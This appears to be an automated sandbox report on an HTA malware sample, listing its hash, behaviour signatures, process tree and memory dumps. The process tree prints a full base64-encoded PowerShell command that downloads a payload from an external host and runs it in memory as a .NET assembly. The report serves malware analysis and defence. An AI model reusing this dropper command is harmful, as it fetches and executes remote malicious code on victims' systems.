Analysis
- max time kernel
148s - max time network
158s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
30/05/2024, 01:23
General
- Target 9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta
- Size 799B
- Sample240530-brsnmaac69
- SHA256 9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://powershell.skype-api.co.uk:80/download/ironpython/
Signatures
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9680a923973fc87e61964a372b083cb9420a4e6c721471806560a3489a649b88.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABiAHkAdABlAHMAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAIgBoAHQAdABwADoALwAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBzAGsAeQBwAGUALQBhAHAAaQAuAGMAbwAuAHUAawA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAGkAcgBvAG4AcAB5AHQAaABvAG4ALwAiACkAOwAkAGEAcwBzAGUAbQBiAGwAeQA9AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBsAG8AYQBkACgAJABiAHkAdABlAHMAKQA7ACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACIAUAByAG8AZwByAGEAbQAiACkALgBHAGUAdABNAGUAdABoAG8AZAAoACIATQBhAGkAbgAiACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAOwA=2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_xjv0rogb.0uo.ps1
memory/4472-6-0x0000000073EF0000-0x00000000746A0000-memory.dmp
memory/4472-20-0x00000000064C0000-0x00000000064DE000-memory.dmp
memory/4472-5-0x0000000073EF0000-0x00000000746A0000-memory.dmp
memory/4472-2-0x0000000073EFE000-0x0000000073EFF000-memory.dmp
memory/4472-7-0x0000000005630000-0x0000000005652000-memory.dmp
memory/4472-9-0x00000000058B0000-0x0000000005916000-memory.dmp
memory/4472-4-0x0000000005970000-0x0000000005F98000-memory.dmp
memory/4472-8-0x00000000057D0000-0x0000000005836000-memory.dmp
memory/4472-19-0x0000000005FA0000-0x00000000062F4000-memory.dmp
memory/4472-3-0x0000000005150000-0x0000000005186000-memory.dmp
memory/4472-21-0x0000000006570000-0x00000000065BC000-memory.dmp
memory/4472-22-0x0000000007D20000-0x000000000839A000-memory.dmp
memory/4472-23-0x00000000069E0000-0x00000000069FA000-memory.dmp
memory/4472-25-0x0000000073EFE000-0x0000000073EFF000-memory.dmp
memory/4472-26-0x0000000073EF0000-0x00000000746A0000-memory.dmp
memory/4472-29-0x0000000073EF0000-0x00000000746A0000-memory.dmp